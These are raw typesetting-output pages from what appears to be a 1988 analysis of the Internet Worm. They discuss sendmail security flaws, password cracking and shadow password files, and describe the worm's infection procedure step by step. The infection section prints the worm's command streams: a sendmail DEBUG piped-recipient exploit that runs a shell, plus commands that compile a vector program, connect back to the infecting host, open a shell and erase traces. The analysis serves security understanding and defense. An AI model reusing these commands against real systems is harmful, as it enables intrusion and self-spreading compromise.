1270(known)S
1602(for)S
1762(sure)S
1977(if)S
2077(all)S
2220(the)S
2387(bugs)S
2628(have)S
2867(been)S
3106(discovered)S
3613(and)S
3804(all)S
3947(the)S
4114(patches)S
4475(circulated.)S
4540 V
970(One)S
1188(obvious)S
1574(approach)S
2011(would)S
2323(be)S
2463(to)S
2586(dispose)S
2953(of)S
3081(sendmail)S
3515(and)S
3710(develop)S
4094(a)S
4179(simpler)S
4546(program)S
4954(to)S
4670 V
720(handle)S
1051(mail.)S
1347(Actually,)S
1792(for)S
1958(purposes)S
2387(of)S
2517(veri\256cation,)S
3084(developing)S
3610(a)S
3696(suite)S
3942(of)S
4071(cooperating)S
4626(programs)S
4800 V
720(would)S
1032(be)S
1172(a)S
1257(better)S
1543(approach,)S
2008(and)S
2203(more)S
2465(aligned)S
2825(with)S
3058(the)S
3229(U)S
9 R
3308(NIX)S
11 R
3505(philosophy.)S
4094(In)S
4223(e)S
4271 H
	(f)show 11 -.5 mul h (f)show
11 R
4338(ect,)S
4531(sendmail)S
4966(is)S
4930 V
720(fundamentally)S
1389(\257awed,)S
1744(not)S
1920(because)S
2300(of)S
2426(anything)S
2846(related)S
3178(to)S
3299(function,)S
3728(but)S
3904(because)S
4283(it)S
4379(is)S
4487(too)S
4662(complex)S
5060 V
720(and)S
911(di)S
997 H
	(f)show 11 -.5 mul h (\256)show
11 R
1089(cult)S
1287(to)S
1406(understand.)S
5024 V
9 R
1915(6)S
5226 V
11 R
970(The)S
1187(Berkeley)S
1629(Computer)S
2116(Systems)S
2531(Research)S
2978(Group)S
3305(has)S
3498(a)S
3593(new)S
3822(version)S
4192(\(5.61\))S
4504(of)S
11 I
4643(sendmail)S
5356 V
11 R
720(with)S
960(many)S
1248(bug)S
1457(\256xes)S
1709(and)S
1911(patches)S
2283(for)S
2453(security)S
2843(\257aws.)S
3179(This)S
3418(version)S
3784(of)S
3918(sendmail)S
4358(is)S
4475(available)S
4913(for)S
5486 V
720(FTP)S
1039(from)S
1380(the)S
1642(host)S
1954(``ucbarpa.berkeley.edu'')S
3161(and)S
3447(will)S
3747(be)S
3978(present)S
4422(in)S
4636(the)S
4899(\256le)S
5616 V
720(~ftp/pub/sendmail.tar.Z)S
1859(after)S
2154(12)S
2360(December)S
2904(1988.)S
3281(System)S
3702(administrators)S
4427(are)S
11 B
4655(strongly)S
5746 V
11 R
720(encouraged)S
1273(to)S
1409(retrieve)S
1792(and)S
2000(install)S
2320(this)S
2530(updated)S
2927(version)S
3300(of)S
3441(sendmail)S
3889(since)S
4165(it)S
4278(contains)S
4695(\256xes)S
4954(to)S
5876 V
720(potential)S
1138(security)S
1518(\257aws)S
1783(other)S
2041(than)S
2263(the)S
2430(one)S
2621(exploited)S
3063(by)S
3206(the)S
3373(Internet)S
3746(Worm.)S
6042 V
970(Note)S
1220(that)S
1423(this)S
1621(new)S
1841(version)S
2202(is)S
2314(shipped)S
2694(with)S
2928(the)S
3100(DEBUG)S
3516(option)S
3836(disabled)S
4240(by)S
4388(default.)S
4791(How-)S
6172 V
720(ever,)S
971(this)S
1167(does)S
1404(not)S
1581(help)S
1806(system)S
2148(administrators)S
2813(who)S
3038(wish)S
3282(to)S
3404(enable)S
3725(the)S
3895(DEBUG)S
4309(option,)S
4655(although)S
6302 V
720(the)S
888(researchers)S
1411(at)S
1524(Berkeley)S
1953(believe)S
2303(they)S
2527(have)S
2768(\256xed)S
3023(all)S
3168(the)S
3337(security)S
3719(\257aws)S
3986(inherent)S
4380(in)S
4501(that)S
4701(facility.)S
6432 V
720(One)S
939(approach)S
1376(that)S
1578(could)S
1859(be)S
1999(taken)S
2273(with)S
2506(the)S
2677(program)S
3085(would)S
3397(be)S
3537(to)S
3660(have)S
3903(it)S
4001(prompt)S
4355(the)S
4525(user)S
4743(for)S
4906(the)S
6562 V
720(password)S
1185(of)S
1328(the)S
1514(super)S
1803(user)S
2037(\(root\))S
2338(when)S
2627(the)S
2813(DEBUG)S
3243(command)S
3728(is)S
3854(given.)S
4211(A)S
4342(static)S
4626(password)S
6692 V
720(should)S
11 B
1059(never)S
11 R
1365(be)S
1513(compiled)S
1967(into)S
2184(the)S
2362(program)S
2777(because)S
3166(this)S
3370(would)S
3689(mean)S
3970(that)S
4179(the)S
4357(same)S
4626(password)S
6802 V
9 Y1
720(3333333333333333)S
6902 V
7 R
820(6)S
6930 V
9 R
900(Note)S
1107(that)S
1274(a)S
1347(widely)S
1625(used)S
1823(alternative)S
2236(to)S
2339(sendmail,)S
2720(MMDF,)S
3051(is)S
3144(also)S
3322(viewed)S
3615(as)S
3723(too)S
3871(complex)S
4214(and)S
4377(large)S
4590(by)S
7040 V
720(many)S
954(users.)S
1196(Further,)S
1518(it)S
1602(is)S
1696(not)S
1845(perceived)S
2229(to)S
2333(be)S
2452(as)S
2561(\257exible)S
2865(as)S
2974(sendmail)S
3332(if)S
3420(it)S
3503(is)S
3596(necessary)S
3979(to)S
4082(establish)S
4430(special)S
7150 V
720(addressing)S
1132(and)S
1289(handling)S
1631(rules)S
1833(when)S
2055(bridging)S
2387(heterogeneous)S
2934(networks.)S
7920 V
EP
%%Page: 6 7
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2783(- 6 -)S
850 V
720(might)S
1011(be)S
1147(present)S
1496(at)S
1608(multiple)S
2009(sites)S
2238(and)S
2429(seldom)S
2780(changed.)S
1016 V
970(For)S
1164(those)S
1437(sites)S
1674(without)S
2052(access)S
2372(to)S
2500(FTP)S
2733(or)S
2866(otherwise)S
3334(unable)S
3668(to)S
3796(obtain)S
4113(the)S
4289(new)S
4513(version,)S
4906(the)S
1146 V
720(o)S
775 H
	(f)show 11 -.5 mul h (\256)show
11 R
867(cial)S
1061(patches)S
1425(to)S
1547(sendmail)S
1980(version)S
2339(5.59)S
2568(are)S
2736(enclosed)S
3155(in)S
3277(Appendix)S
3746(D.)S
3921(Sites)S
4171(running)S
4548(versions)S
4949(of)S
1276 V
720(sendmail)S
1150(prior)S
1396(to)S
1515(5.59)S
1741(should)S
2068(make)S
2338(every)S
2613(e)S
2661 H
	(f)show 11 -.5 mul h (f)show
11 R
2728(ort)S
2883(to)S
3002(obtain)S
3310(the)S
3477(new)S
3692(version.)S
1536 V
11 B
720(3.2.)S
952(Other)S
1265(Problems)S
1702 V
11 R
970(Although)S
1426(the)S
1600(Worm)S
1920(exploited)S
2369(\257aws)S
2641(in)S
2767(only)S
3003(two)S
3208(server)S
3515(programs,)S
3998(its)S
4144(behavior)S
4568(has)S
4755(served)S
1832 V
720(to)S
841(illustrate)S
1261(a)S
1344(few)S
1542(fundamental)S
2125(problems)S
2569(that)S
2769(have)S
3010(not)S
3186(yet)S
3355(been)S
3596(widely)S
3930(addressed.)S
4424(In)S
4549(the)S
4717(interest)S
1962 V
720(of)S
851(promoting)S
1350(better)S
1639(security,)S
2054(some)S
2326(of)S
2457(these)S
2722(problems)S
3171(are)S
3343(discussed)S
3804(here.)S
4092(The)S
4302(interested)S
4769(reader)S
2092 V
720(is)S
827(directed)S
1212(to)S
1331(works)S
1632(such)S
1866(as)S
1990([Gram84])S
2454(for)S
2614(a)S
2695(broader)S
3061(discussion)S
3553(of)S
3677(related)S
4007(issues.)S
2352 V
11 B
720(3.2.1.)S
1035(Servers)S
1420(in)S
1546(general)S
2518 V
11 R
970(A)S
1085(security)S
1468(\257aw)S
1694(not)S
1872(exploited)S
2318(by)S
2465(the)S
2636(Worm,)S
2981(but)S
3159(now)S
3385(becoming)S
3855(obvious,)S
4269(is)S
4380(that)S
4582(many)S
4863(sys-)S
2648 V
720(tem)S
923(services)S
1313(have)S
1557(con\256guration)S
2181(and)S
2377(command)S
2847(\256les)S
3068(owned)S
3397(by)S
3544(a)S
3629(common)S
4051(userid.)S
4417(Programs)S
4875(like)S
2778 V
720(sendmail,)S
1183(the)S
11 I
1356(at)S
11 R
1481(service,)S
1857(and)S
2054(other)S
2318(facilities)S
2735(are)S
2906(often)S
3170(all)S
3319(owned)S
3650(by)S
3799(the)S
3972(same)S
4236(non-user)S
4658(id.)S
4844(This)S
2908 V
720(means)S
1033(that)S
1231(if)S
1331(it)S
1426(is)S
1533(possible)S
1927(to)S
2046(abuse)S
2328(one)S
2519(of)S
2643(the)S
2810(services,)S
3223(it)S
3318(might)S
3609(be)S
3745(possible)S
4139(to)S
4258(abuse)S
4540(many.)S
3074 V
970(One)S
1186(way)S
1402(to)S
1522(deal)S
1738(with)S
1968(the)S
2136(general)S
2491(problem)S
2891(is)S
2999(have)S
3239(every)S
3515(daemon)S
3896(and)S
4088(subsystem)S
4581(run)S
4761(with)S
4992(a)S
3204 V
720(separate)S
1111(userid.)S
1474(That)S
1709(way,)S
1953(the)S
2121(command)S
2588(and)S
2780(data)S
2996(\256les)S
3214(for)S
3375(each)S
3608(subsystem)S
4101(could)S
4378(be)S
4514(protected)S
4954(in)S
3334 V
720(such)S
968(a)S
1063(way)S
1292(that)S
1504(only)S
1747(that)S
1959(subsystem)S
2466(could)S
2758(have)S
3012(write)S
3285(\(and)S
3527(perhaps)S
3915(read\))S
4186(access)S
4512(to)S
4646(the)S
4828(\256les.)S
3464 V
720(This)S
963(is)S
1084(e)S
1132 H
	(f)show 11 -.5 mul h (f)show
11 R
1199(ectively)S
1593(an)S
1743(implementation)S
2481(of)S
2619(the)S
2800(principle)S
3237(of)S
3375(least)S
3623(privilege.)S
4121(Although)S
4583(doing)S
4880(this)S
3594 V
720(might)S
1020(add)S
1220(an)S
1365(extra)S
1625(dozen)S
1928(user)S
2152(ids)S
2323(to)S
2451(the)S
2627(system,)S
3003(it)S
3107(is)S
3223(a)S
3313(small)S
3594(cost)S
3813(to)S
3941(pay,)S
4169(and)S
4370(is)S
4487(already)S
4851(sup-)S
3724 V
720(ported)S
1034(in)S
1154(the)S
1322(U)S
9 R
1401(NIX)S
11 R
1595(paradigm.)S
2104(Services)S
2509(that)S
2708(should)S
3036(have)S
3276(separate)S
3667(ids)S
3830(include)S
4187(sendmail,)S
4646(news,)S
4933(at,)S
3854 V
720(\256nger,)S
1037(ftp,)S
1220(uucp)S
1466(and)S
1657(YP.)S
4114 V
11 B
720(3.2.2.)S
1035(Passwords)S
4280 V
11 R
970(A)S
1087(key)S
1283(attack)S
1583(of)S
1713(the)S
1886(Worm)S
2205(program)S
2615(involved)S
3039(attempts)S
3451(to)S
3576(discover)S
3986(user)S
4207(passwords.)S
4764(It)S
4870(was)S
4410 V
720(able)S
956(to)S
1096(determine)S
1587(success)S
1968(because)S
2366(the)S
2553(encrypted)S
3037(password)S
4374 V
9 R
3451(7)S
4410 V
11 R
3549(of)S
3693(each)S
3945(user)S
4180(was)S
4403(in)S
4542(a)S
4643(publicly-)S
4540 V
720(readable)S
1131(\256le.)S
1375(This)S
1613(allows)S
1942(an)S
2087(attacker)S
2474(to)S
2602(encrypt)S
2972(lists)S
3193(of)S
3327(possible)S
3731(passwords)S
4231(and)S
4432(then)S
4664(compare)S
4670 V
720(them)S
982(against)S
1335(the)S
1511(actual)S
1814(passwords)S
2313(without)S
2692(passing)S
3064(through)S
3448(any)S
3648(system)S
3995(function.)S
4463(In)S
4595(e)S
4643 H
	(f)show 11 -.5 mul h (f)show
11 R
4710(ect,)S
4906(the)S
4800 V
720(security)S
1105(of)S
1234(the)S
1406(passwords)S
1901(is)S
2013(provided)S
2441(in)S
2565(large)S
2821(part)S
3029(by)S
3177(the)S
3350(prohibitive)S
3872(e)S
3920 H
	(f)show 11 -.5 mul h (f)show
11 R
3987(ort)S
4148(of)S
4278(trying)S
4580(all)S
4729(combi-)S
4930 V
720(nations)S
1085(of)S
1223(letters.)S
1599(Unfortunately,)S
2289(as)S
2427(machines)S
2888(get)S
3069(faster,)S
3386(the)S
3567(cost)S
3791(of)S
3929(such)S
4176(attempts)S
4595(decreases.)S
5060 V
720(Dividing)S
1150(the)S
1322(task)S
1537(among)S
1874(multiple)S
2280(processors)S
2780(further)S
3115(reduces)S
3486(the)S
3658(time)S
3892(needed)S
4239(to)S
4363(decrypt)S
4729(a)S
4815(pass-)S
5190 V
720(word.)S
1008(It)S
1110(is)S
1219(currently)S
1649(feasible)S
2024(to)S
2145(use)S
2326(a)S
2409(supercomputer)S
3095(to)S
3216(precalculate)S
3779(all)S
3925(probable)S
5154 V
9 R
4308(8)S
5190 V
11 R
4389(passwords)S
4882(and)S
5320 V
720(store)S
969(them)S
1225(on)S
1371(optical)S
1706(media.)S
2071(Although)S
2523(not)S
2700(\(currently\))S
3203(portable,)S
3625(this)S
3820(scheme)S
4183(would)S
4493(allow)S
4772(some-)S
5450 V
720(one)S
911(with)S
1140(the)S
1307(appropriate)S
1838(resources)S
2283(access)S
2594(to)S
2713(any)S
2904(account)S
3277(for)S
3437(which)S
3738(they)S
3960(could)S
4237(read)S
4458(the)S
4626(password)S
5580 V
720(\256eld)S
969(and)S
1180(then)S
1422(consult)S
1793(their)S
2047(database)S
2476(of)S
2620(pre-encrypted)S
3279(passwords.)S
3850(As)S
4025(the)S
4211(density)S
4581(of)S
4724(storage)S
5710 V
720(media)S
1021(increases,)S
1482(this)S
1675(problem)S
2074(will)S
2279(only)S
2508(get)S
2675(more)S
2933(severe.)S
5876 V
970(A)S
1095(clear)S
1352(approach)S
1798(to)S
1930(reducing)S
2359(the)S
2539(risk)S
2750(of)S
2887(such)S
3134(attacks,)S
3512(and)S
3717(an)S
3867(approach)S
4314(that)S
4526(has)S
4719(already)S
6006 V
720(been)S
963(taken)S
1237(in)S
1360(some)S
1629(variants)S
2013(of)S
2141(U)S
9 R
2220(NIX)S
11 R
2380(,)S
2444(would)S
2755(be)S
2894(to)S
3016(have)S
3258(a)S
11 I
3342(shadow)S
11 R
3715(password)S
4165(\256le.)S
4403(The)S
4609(encrypted)S
6136 V
720(passwords)S
1211(are)S
1377(saved)S
1660(in)S
1780(a)S
1862(\256le)S
2037(that)S
2236(is)S
2344(readable)S
2747(only)S
2977(by)S
3121(the)S
3289(system)S
3629(administrators,)S
4320(and)S
4512(a)S
4595(privileged)S
6266 V
720(call)S
917(performs)S
1351(password)S
1804(encryptions)S
2355(and)S
2552(comparisons)S
3146(with)S
3381(an)S
3523(appropriate)S
4059(delay)S
4334(\(.5)S
4491(to)S
4615(1)S
4708(second,)S
6396 V
720(for)S
888(instance\).)S
1385(This)S
1622(would)S
1938(prevent)S
2307(any)S
2506(attempt)S
2877(to)S
3004(``\256sh'')S
3349(for)S
3517(passwords.)S
4076(Additionally,)S
4702(a)S
4791(thres-)S
6526 V
720(hold)S
950(could)S
1227(be)S
1363(included)S
1774(to)S
1893(check)S
2180(for)S
2340(repeated)S
2742(password)S
3189(attempts)S
3595(from)S
3841(the)S
4008(same)S
4266(process,)S
4655(resulting)S
6636 V
9 Y1
720(3333333333333333)S
6736 V
7 R
820(7)S
6764 V
9 R
900(Strictly)S
1200(speaking,)S
1578(the)S
1723(password)S
2098(is)S
2193(not)S
2343(encrypted.)S
2783(A)S
2883(block)S
3119(of)S
3230(zero)S
3421(bits)S
3587(is)S
3683(repeatedly)S
4094(encrypted)S
4485(using)S
6874 V
720(the)S
857(user)S
1034(password,)S
1424(and)S
1581(the)S
1718(results)S
1980(of)S
2082(this)S
2239(encryption)S
2651(is)S
2738(what)S
2940(is)S
3027(saved.)S
3309(See)S
3466([Morr79])S
3828(for)S
3960(more)S
4172(details.)S
6974 V
7 R
820(8)S
7002 V
9 R
900(Such)S
1111(a)S
1182(list)S
1323(would)S
1579(likely)S
1815(include)S
2111(all)S
2232(words)S
2483(in)S
2584(the)S
2725(dictionary,)S
3144(the)S
3285(reverse)S
3576(of)S
3682(all)S
3802(such)S
3997(words,)S
4270(and)S
4430(a)S
4500(large)S
7112 V
720(collection)S
1102(of)S
1204(proper)S
1466(names.)S
7920 V
EP
%%Page: 7 8
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2783(- 7 -)S
850 V
720(in)S
841(some)S
1108(form)S
1356(of)S
1482(alarm)S
1766(being)S
2045(raised.)S
2370(Shadow)S
2760(password)S
3210(\256les)S
3430(should)S
3760(be)S
3899(used)S
4136(in)S
4258(combination)S
4844(with)S
980 V
720(encryption)S
1228(rather)S
1521(than)S
1749(in)S
1874(place)S
2143(of)S
2273(such)S
2513(techniques,)S
3049(however,)S
3491(or)S
3620(one)S
3816(problem)S
4220(is)S
4332(simply)S
4671(replaced)S
1110 V
720(by)S
863(a)S
944(di)S
1030 H
	(f)show 11 -.5 mul h (f)show
11 R
1097(erent)S
1348(one;)S
1570(the)S
1737(combination)S
2320(of)S
2444(the)S
2611(two)S
2809(methods)S
3215(is)S
3322(stronger)S
3714(than)S
3936(either)S
4218(one)S
4409(alone.)S
1276 V
970(Another)S
1375(way)S
1603(to)S
1735(strengthen)S
2238(the)S
2418(password)S
2878(mechanism)S
3424(would)S
3745(be)S
3894(to)S
4026(change)S
4382(the)S
4563(utility)S
4875(that)S
1406 V
720(sets)S
922(user)S
1141(passwords.)S
1696(The)S
1903(utility)S
2204(currently)S
2635(makes)S
2951(minimal)S
3355(attempt)S
3721(to)S
3843(ensure)S
4164(that)S
4365(new)S
4583(passwords)S
1536 V
720(are)S
893(nontrivial)S
1362(to)S
1489(guess.)S
1835(The)S
2046(program)S
2458(could)S
2743(be)S
2887(strengthened)S
3488(in)S
3615(such)S
3857(a)S
3946(way)S
4170(that)S
4377(it)S
4481(would)S
4798(reject)S
1666 V
720(any)S
911(choice)S
1229(of)S
1353(a)S
1434(word)S
1692(currently)S
2120(in)S
2239(the)S
2406(on-line)S
2750(dictionary)S
3228(or)S
3352(based)S
3634(on)S
3777(the)S
3944(account)S
4317(name.)S
1926 V
11 B
720(4.)S
869(High-Level)S
1428(Description)S
2004(of)S
2128(the)S
2307(Worm)S
2092 V
11 R
970(This)S
1217(section)S
1579(contains)S
1996(a)S
2095(high-level)S
2591(overview)S
3049(of)S
3191(how)S
3431(the)S
3617(worm)S
3925(program)S
4348(functions.)S
4870(The)S
2222 V
720(description)S
1243(in)S
1364(this)S
1558(section)S
1903(assumes)S
2303(that)S
2502(the)S
2670(reader)S
2975(is)S
3083(familiar)S
3464(with)S
3694(standard)S
4099(U)S
9 R
4178(NIX)S
11 R
4372(commands)S
4882(and)S
2352 V
720(somewhat)S
1201(familiar)S
1585(with)S
1818(network)S
2214(facilities)S
2629(under)S
2915(U)S
9 R
2994(NIX)S
11 R
3154(.)S
3252(Section)S
3619(5)S
3711(describes)S
4155(the)S
4326(individual)S
4810(func-)S
2482 V
720(tions)S
968(and)S
1159(structures)S
1618(in)S
1737(more)S
1995(detail.)S
2648 V
970(The)S
1195(worm)S
1506(consists)S
1910(of)S
2056(two)S
2276(parts:)S
2575(a)S
2679(main)S
2955(program,)S
3410(and)S
3624(a)S
3728(bootstrap)S
4193(or)S
11 I
4340(vector)S
11 R
4669(program)S
2778 V
720(\(described)S
1225(in)S
1361(Appendix)S
1844(B\).)S
2065(We)S
2265(will)S
2486(start)S
2724(this)S
2933(description)S
3470(from)S
3732(the)S
3915(point)S
4191(at)S
4319(which)S
4636(a)S
4733(host)S
4966(is)S
2908 V
720(about)S
999(to)S
1120(be)S
1258(infected.)S
1706(At)S
1851(this)S
2046(point,)S
2336(a)S
2419(worm)S
2710(running)S
3087(on)S
3232(another)S
3596(machine)S
4003(has)S
4185(either)S
4470(succeeded)S
4954(in)S
3038 V
720(establishing)S
1282(a)S
1366(shell)S
1610(on)S
1756(the)S
1926(new)S
2144(host)S
2364(and)S
2558(has)S
2740(connected)S
3219(back)S
3461(to)S
3583(the)S
3753(infecting)S
4179(machine)S
4585(via)S
4754(a)S
4837(TCP)S
3168 V
720(connection,)S
1262(or)S
1386(it)S
1481(has)S
1660(connected)S
2136(to)S
2255(the)S
2422(SMTP)S
2744(port)S
2954(and)S
3145(is)S
3252(transmitting)S
3818(to)S
3937(the)S
4104(sendmail)S
4534(program.)S
3334 V
720(The)S
923(infection)S
1346(proceeded)S
1827(as)S
1951(follows:)S
3500 V
720(1\))S
970(A)S
1094(socket)S
1419(was)S
1634(established)S
2167(on)S
2322(the)S
2501(infecting)S
2936(machine)S
3352(for)S
3524(the)S
3703(vector)S
4021(program)S
4437(to)S
4568(connect)S
4954(to)S
3630 V
970(\(e.g.,)S
1236(socket)S
1558(number)S
1935(32341\).)S
2349(A)S
2470(challenge)S
2931(string)S
3224(was)S
3436(constructed)S
3983(from)S
4238(a)S
4328(random)S
4705(number)S
3760 V
970(\(e.g.,)S
1245(8712440\).)S
1779(A)S
1910(\256le)S
2103(name)S
2392(base)S
2638(was)S
2860(also)S
3090(constructed)S
3648(using)S
3940(a)S
4041(random)S
4429(number)S
4817(\(e.g.,)S
3890 V
970(14481910\).)S
4056 V
720(2\))S
970(The)S
1173(vector)S
1479(program)S
1883(was)S
2086(installed)S
2492(and)S
2683(executed)S
3104(using)S
3376(one)S
3567(of)S
3691(two)S
3889(methods:)S
4222 V
970(2a\))S
1220(Across)S
1563(a)S
1650(TCP)S
1892(connection)S
2412(to)S
2537(a)S
2624(shell,)S
2899(the)S
3072(worm)S
3367(would)S
3681(send)S
3922(the)S
4096(following)S
4564(commands)S
4352 V
1220(\(the)S
1423(two)S
1621(lines)S
1862(beginning)S
2335(with)S
2564(``cc'')S
2837(were)S
3081(sent)S
3291(as)S
3415(a)S
3496(single)S
3792(line\):)S
4542 V
11 C
1220(PATH=/bin:/usr/bin:/usr/ucb)S
4672 V
1220(cd)S
1418(/usr/tmp)S
4802 V
1220(echo)S
1550(gorch49;)S
2144(sed)S
2408('/int)S
2804(zz/q')S
3200(>)S
3332(x14481910.c;echo)S
4454(gorch50)S
4932 V
1220([text)S
1616(of)S
1814(vector)S
2276(program\320enclosed)S
3398(in)S
3596(Appendix)S
4190(B])S
5062 V
1220(int)S
1484(zz;)S
5192 V
1220(cc)S
1418(-o)S
1616(x14481910)S
2276(x14481910.c;./x14481910)S
3860(128.32.134.16)S
4784(32341)S
5180(8712440;)S
5322 V
1220(rm)S
1418(-f)S
1616(x14481910)S
2276(x14481910.c;echo)S
3398(DONE)S
5512 V
11 R
1220(Then)S
1491(it)S
1599(would)S
1920(wait)S
2155(for)S
2328(the)S
2508(string)S
2805(``DONE'')S
3299(to)S
3431(signal)S
3740(that)S
3951(the)S
4132(vector)S
4452(program)S
4870(was)S
5642 V
1220(running.)S
5808 V
970(2b\))S
1220(Using)S
1525(the)S
1701(SMTP)S
2032(connection,)S
2583(it)S
2687(would)S
3004(transmit)S
3407(\(the)S
3619(two)S
3827(lines)S
4078(beginning)S
4561(with)S
4800(``cc'')S
5938 V
1220(were)S
1464(sent)S
1674(as)S
1798(a)S
1879(single)S
2175(line\):)S
7920 V
EP
%%Page: 8 9
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2783(- 8 -)S
910 V
11 C
1220(debug)S
1040 V
1220(mail)S
1550(from:)S
1946(</dev/null>)S
1170 V
1220(rcpt)S
1550(to:)S
1814(<"|sed)S
2276(-e)S
2474('1,/^$/'d)S
3134(|)S
3266(/bin/sh)S
3794(;)S
3926(exit)S
4256(0">)S
1300 V
1220(data)S
1560 V
1220(cd)S
1418(/usr/tmp)S
1690 V
1220(cat)S
1484(>)S
1616(x14481910.c)S
2408(<<'EOF')S
1820 V
1220([text)S
1616(of)S
1814(vector)S
2276(program\320enclosed)S
3398(in)S
3596(Appendix)S
4190(B])S
1950 V
1220(EOF)S
2080 V
1220(cc)S
1418(-o)S
1616(x14481910)S
2276(x14481910.c;x14481910)S
3728(128.32.134.16)S
4652(32341)S
5048(8712440;)S
2210 V
1220(rm)S
1418(-f)S
1616(x14481910)S
2276(x14481910.c)S
2470 V
1220(.)S
2600 V
1220(quit)S
2826 V
11 R
970(The)S
1185(infecting)S
1620(worm)S
1921(would)S
2241(then)S
2475(wait)S
2709(for)S
2881(up)S
3036(to)S
3167(2)S
3267(minutes)S
3661(on)S
3816(the)S
3995(designated)S
4510(port)S
4733(for)S
4906(the)S
2956 V
970(vector)S
1276(to)S
1395(contact)S
1744(it.)S
3122 V
720(3\))S
970(The)S
1206(vector)S
1545(program)S
1982(then)S
2237(connected)S
2746(to)S
2899(the)S
3100(``server,'')S
3605(sent)S
3849(the)S
4050(challenge)S
4536(string,)S
4882(and)S
3252 V
970(transferred)S
1480(three)S
1735(\256les:)S
1987(a)S
2072(Sun)S
2281(3)S
2373(binary)S
2690(version)S
3050(of)S
3178(the)S
3349(worm,)S
3670(a)S
3755(V)S
9 R
3834(AX)S
11 R
4001(version,)S
4389(and)S
4584(the)S
4755(source)S
3382 V
970(code)S
1229(for)S
1409(the)S
1596(vector)S
1923(program.)S
2409(After)S
2693(the)S
2881(\256les)S
3119(were)S
3384(copied,)S
3758(the)S
3946(running)S
4342(vector)S
4669(program)S
3512 V
970(became)S
1347(\(via)S
1561(the)S
11 I
1739(execl)S
11 R
2006(call\))S
2244(a)S
2336(shell)S
2588(with)S
2828(its)S
2976(input)S
3246(and)S
3447(output)S
3772(still)S
3982(connected)S
4468(to)S
4597(the)S
4774(server)S
3642 V
970(worm.)S
3808 V
720(4\))S
970(The)S
1173(server)S
1472(worm)S
1761(sent)S
1971(the)S
2138(following)S
2599(command)S
3065(stream)S
3390(to)S
3509(the)S
3676(connected)S
4152(shell:)S
3998 V
11 C
970(PATH=/bin:/usr/bin:/usr/ucb)S
4128 V
970(rm)S
1168(-f)S
1366(sh)S
4258 V
970(if)S
1168([)S
1300(-f)S
1498(sh)S
1696(])S
4388 V
970(then)S
4518 V
970(P=x14481910)S
4648 V
970(else)S
4778 V
970(P=sh)S
4908 V
970(fi)S
5098 V
11 R
970(Then,)S
1270(for)S
1444(each)S
1690(binary)S
2017(\256le)S
2205(it)S
2314(had)S
2519(transferred)S
3038(\(just)S
3281(two)S
3493(in)S
3626(this)S
3834(case,)S
4097(although)S
4530(the)S
4712(code)S
4966(is)S
5228 V
970(written)S
1314(to)S
1433(allow)S
1710(more\),)S
2032(it)S
2127(would)S
2435(send)S
2669(the)S
2836(following)S
3297(form)S
3543(of)S
3667(command)S
4133(sequence:)S
5418 V
11 C
970(cc)S
1168(-o)S
1366($P)S
1564(x14481910,sun3.o)S
5548 V
970(./$P)S
1300(-p)S
1498($$)S
1696(x14481910,sun3.o)S
2818(x14481910,vax.o)S
3874(x14481910,l1.c)S
5678 V
970(rm)S
1168(-f)S
1366($P)S
5868 V
11 R
970(The)S
11 I
1177(rm)S
11 R
1336(would)S
1648(succeed)S
2030(only)S
2263(if)S
2367(the)S
2538(linked)S
2850(version)S
3210(of)S
3339(the)S
3511(worm)S
3805(failed)S
4092(to)S
4216(start)S
4443(execution.)S
4968(If)S
5998 V
970(the)S
1140(server)S
1442(determined)S
1971(that)S
2172(the)S
2341(host)S
2560(was)S
2765(now)S
2989(infected,)S
3404(it)S
3501(closed)S
3816(the)S
3985(connection.)S
4562(Otherwise,)S
6128 V
970(it)S
1066(would)S
1375(try)S
1531(the)S
1699(other)S
1958(binary)S
2272(\256le.)S
2475(After)S
2740(both)S
2971(binary)S
3286(\256les)S
3505(had)S
3698(been)S
3939(tried,)S
4203(it)S
4300(would)S
4610(send)S
4846(over)S
6258 V
11 I
970(rm)S
11 R
1125(commands)S
1634(for)S
1794(the)S
1961(object)S
2262(\256les)S
2479(to)S
2598(clear)S
2842(away)S
3105(all)S
3248(evidence)S
3669(of)S
3793(the)S
3960(attempt)S
4323(at)S
4435(infection.)S
6424 V
720(5\))S
970(The)S
1178(new)S
1398(worm)S
1692(on)S
1840(the)S
2012(infected)S
2402(host)S
2624(proceeded)S
3110(to)S
3234(``hide'')S
3605(itself)S
3863(by)S
4011(obscuring)S
4482(its)S
4626(argument)S
6554 V
970(vector,)S
1307(unlinking)S
1766(the)S
1936(binary)S
2252(version)S
2611(of)S
2738(itself,)S
3021(and)S
3214(killing)S
3538(its)S
3678(parent)S
3986(\(the)S
4191($$)S
4336(argument)S
4785(in)S
4906(the)S
6684 V
970(invocation\).)S
1572(It)S
1680(then)S
1910(read)S
2139(into)S
2353(memory)S
2761(each)S
3002(of)S
3135(the)S
3311(worm)S
3609(binary)S
3931(\256les,)S
4185(encrypted)S
4658(each)S
4899(\256le)S
6814 V
970(after)S
1202(reading)S
1563(it,)S
1686(and)S
1877(deleted)S
2226(the)S
2393(\256les)S
2610(from)S
2856(disk.)S
6980 V
720(6\))S
970(Next,)S
1246(the)S
1415(new)S
1632(worm)S
1923(gathered)S
2334(information)S
2888(about)S
3168(network)S
3563(interfaces)S
4023(and)S
4217(hosts)S
4480(to)S
4602(which)S
4906(the)S
7110 V
970(local)S
1236(machine)S
1660(was)S
1883(connected.)S
2440(It)S
2560(built)S
2816(lists)S
3048(of)S
3192(these)S
3469(in)S
3607(memory,)S
4053(including)S
4521(information)S
7240 V
970(about)S
1256(canonical)S
1717(and)S
1917(alternate)S
2335(names)S
2657(and)S
2857(addresses.)S
3380(It)S
3490(gathered)S
3909(some)S
4184(of)S
4318(this)S
4521(information)S
7920 V
EP
%%Page: 9 10
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2783(- 9 -)S
850 V
970(by)S
1122(making)S
1494(direct)S
11 I
1785(ioctl)S
11 R
2023(calls,)S
2294(and)S
2494(by)S
2646(running)S
3030(the)S
11 I
3206(netstat)S
11 R
3542(program)S
3954(with)S
4191(various)S
4555(arguments.)S
980 V
970(It)S
1070(also)S
1280(read)S
1500(through)S
1875(various)S
2231(system)S
2570(\256les)S
2787(looking)S
3157(for)S
3317(host)S
3534(names)S
3847(to)S
3966(add)S
4157(to)S
4276(its)S
4414(database.)S
1146 V
720(7\))S
970(It)S
1081(randomized)S
1642(the)S
1820(lists)S
2043(it)S
2149(constructed,)S
2727(then)S
2961(attempted)S
3439(to)S
3570(infect)S
